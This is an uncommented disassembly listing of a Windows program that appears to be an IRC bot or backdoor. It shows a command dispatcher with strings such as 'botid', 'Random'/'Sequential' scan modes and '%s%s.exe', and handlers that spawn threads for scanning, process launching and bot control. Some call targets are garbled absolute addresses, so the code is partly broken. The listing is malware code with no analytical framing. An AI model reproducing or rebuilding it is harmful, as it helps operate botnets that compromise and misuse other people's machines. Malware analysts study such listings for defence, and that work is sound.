		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax


loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx


loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 270Fh


loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0


loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------


loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx


loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_431694
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D


loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B


loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx


loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0


loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi


loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------


loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------


loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl


loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"


loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431610
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4121AB


loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_412195
; ---------------------------------------------------------------------------


loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_4315C8
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_4315BC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"


loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------


loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43ADD8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431550
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41248B


loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_412475
; ---------------------------------------------------------------------------


loc_41248B:				; CODE XREF: sub_40EE72+3601j
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_431504
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4314B8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412588


loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_412572
; ---------------------------------------------------------------------------


loc_412588:				; CODE XREF: sub_40EE72+36FEj
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_431464
		jmp	loc_4144D6
; ---------------------------------------------------------------------------


loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------


loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx


loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------


loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx


loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431428
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4126C9


loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------


loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_4313D8
		jmp	loc_4128CC
; ---------------------------------------------------------------------------


loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_43139C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4127AD


loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_41279B
; ---------------------------------------------------------------------------


loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		call	near ptr 267036Ah
		nop
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_431354
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------


loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_431314
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4128C0


loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------


loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_4312CC


loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------


loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43128C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4129B7


loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------


loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_431244
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431208
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0AE7h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412AAE


loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_412A98
; ---------------------------------------------------------------------------


loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		call	near ptr 267036Ah
		nop
		push	eax
		push	offset unk_4311C0
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_431178
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		call	near ptr 27E0904h
		nop
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431144
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------


loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_431128
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------


loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_4310E8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412C0B


loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2620494h
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------


loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		nop
		call	near ptr 267036Ah
		push	eax
		push	offset unk_43109C
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5


loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 2770B6Ah
		nop
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_431068
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_431040
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		call	near ptr 27810F9h
		nop
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
